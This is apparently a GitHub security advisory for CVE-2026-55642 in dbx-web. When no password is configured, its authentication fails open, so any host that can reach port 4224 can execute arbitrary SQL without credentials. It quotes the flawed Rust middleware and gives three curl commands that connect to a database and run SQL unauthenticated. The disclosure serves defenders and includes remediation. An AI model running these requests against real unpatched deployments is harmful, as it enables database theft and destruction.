Skip to content

Unauthenticated arbitrary SQL execution in dbx-web (authentication fails open when no password is configured)

Critical
t8y2 published GHSA-rqp4-8fxh-22vh Jul 11, 2026

Package

t8y2/dbx

Affected versions

<= 0.5.50

Patched versions

>= 0.5.51

Description

Unauthenticated arbitrary SQL execution in the dbx-web Docker service (authentication fails open when no password is set)

Resolution

Fixed in fb919ef and released in v0.5.51.

Protected API requests now return HTTP 401 until password setup is completed. Only the authentication endpoints required for first-run setup remain accessible before initialization.

Summary

The dbx-web service (the Docker / self-hosted web component of dbx) authenticates by an authorization middleware that fails open: when no password is configured, it allows every request to every /api/ route, including database connection and SQL execution endpoints. The service binds 0.0.0.0 by default, and the official quickstart in the README starts it with no password. The result is that the default documented deployment exposes unauthenticated arbitrary SQL execution against every database the operator connects, to any host that can reach port 4224.

Severity

Critical — CVSS 3.1 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

CWE-306 (Missing Authentication for Critical Function). The authentication system fails open rather than closed when unconfigured.

Affected component and version

  • Component: dbx-web (crate crates/dbx-web), the Docker / self-hosted web service.
  • Version: 0.5.29 (workspace), reproduced on the published image t8y2/dbx:latest (digest sha256:787a339db66e37bd240d9dd99bca9f7afcdf0fddf691a2663ddfd4361c34bac5), source commit 5e21b744872e.
  • Not affected: the desktop (Tauri) application, which binds loopback only.

Root cause

auth_middleware returns the request to the handler chain unconditionally when password_hash is None:

// crates/dbx-web/src/auth.rs:182
pub async fn auth_middleware(
    State(state): State<Arc<WebState>>,
    req: Request<axum::body::Body>,
    next: Next,
) -> Response {
    // No password set — allow everything
    if state.password_hash.read().await.is_none() {
        return next.run(req).await;          // <-- fails OPEN for every route
    }
    ...
}

password_hash resolves to None whenever DBX_PASSWORD is unset and no password has been stored:

// crates/dbx-web/src/main.rs:65
let password_hash = if let Some(pw) = std::env::var("DBX_PASSWORD").ok() {
    let salt = SaltString::generate(&mut OsRng);
    Some(Argon2::default().hash_password(pw.as_bytes(), &salt).expect(...).to_string())
} else {
    app_state.storage.load_password_hash().await.unwrap_or(None)   // <-- None on a fresh install
};

The service binds all interfaces by default:

// crates/dbx-web/src/main.rs:321
let port: u16 = std::env::var("DBX_PORT").ok().and_then(|p| p.parse().ok()).unwrap_or(4224);
let addr = SocketAddr::from(([0, 0, 0, 0], port));

The setup() flow that creates the first password is never enforced. There is no code path that refuses to serve /api/ until a password exists. A direct API client never visits the web UI, never sees the setup prompt, and is served regardless.

Why this is the default deployment, not a misconfiguration

The README's own "Getting Started" Docker Compose sets no DBX_PASSWORD:

services:
  dbx:
    image: t8y2/dbx
    ports:
      - "4224:4224"
    volumes:
      - dbx-data:/app/data
    restart: unless-stopped

Open http://localhost:4224 in your browser.

A user who follows the documented install runs an unauthenticated service. The bind is 0.0.0.0, not the localhost the documentation implies, so on any shared network the service is reachable by other hosts. The deploy/Dockerfile (CMD ["dbx-web"], no DBX_PASSWORD) ships the same way. The shipped deploy/docker-compose.yml sets DBX_PASSWORD=changeme, a hardcoded weak default, so even that path does not require the operator to choose a real secret.

Reproduction

A complete, self-contained PoC running the genuine published image against a seeded Postgres victim is attached. It requires zero credentials.

# Terminal 1 — start the genuine image (no DBX_PASSWORD) + a victim Postgres
docker compose up -d

# Terminal 2 — independent witness: queries Postgres directly, bypassing dbx-web
watch -n1 ./verify.sh

# Terminal 3 — fire the exploit (no auth, plain HTTP)
python3 exploit.py

Minimal manual proof (no tooling):

# 1. Reach an authenticated-only API with no credentials — returns 200, not 401
curl -s -o /dev/null -w "%{http_code}\n" http://TARGET:4224/api/connection/list

# 2. Register a database connection, unauthenticated
curl -s http://TARGET:4224/api/connection/connect \
  -H 'Content-Type: application/json' \
  -d '{"config":{"id":"x","name":"x","db_type":"postgres","host":"DBHOST","port":5432,
       "username":"USER","password":"PASS","database":"DB"}}'

# 3. Execute arbitrary SQL on it, unauthenticated
curl -s http://TARGET:4224/api/query/execute \
  -H 'Content-Type: application/json' \
  -d '{"connectionId":"x","database":"DB","sql":"SELECT current_user, version()"}'

The attached PoC runs a five-phase demonstration (recon, exfiltration, privilege escalation, destruction, audit-log poisoning) and proves the database state changes with an independent Postgres witness that never passes through dbx-web. A captured run is in proof.txt.

Impact

An unauthenticated network attacker who can reach the dbx-web port can, against every database the operator has configured (dbx supports 40+ database engines):

  • Read all data (credentials, PII, payment data, secrets).
  • Modify and destroy data (INSERT, UPDATE, DELETE, DROP).
  • Use the database connections, SSH tunnels, and stored credentials the operator configured in dbx.

On any deployment where the port is reachable beyond loopback (the default bind, a published container port, a LAN, or an exposed host) this is full unauthenticated database compromise.

Remediation

  1. Fail closed. When password_hash is None, refuse to serve /api/ data routes (return 401/403 and direct the caller to complete first-run setup), instead of allowing every request. Only /api/auth/setup and static assets should be reachable in the unconfigured state.
  2. Bind loopback by default. Default to 127.0.0.1 and require an explicit opt-in (a flag or env var) to bind 0.0.0.0, with a startup warning.
  3. Do not ship a weak default credential. Remove DBX_PASSWORD=changeme from deploy/docker-compose.yml; generate a random password on first run and print it once, or require the operator to set one.
  4. Update the README quickstart to set a password (or document the loopback-only expectation explicitly).

Disclosure

Reported privately via GitHub Private Vulnerability Reporting, per SECURITY.md, which lists "Docker web service authentication and data directory handling" as an in-scope security area. No third-party systems were tested; all reproduction was performed locally against fabricated data.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-55642

Weaknesses

Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. Learn more on MITRE.

Credits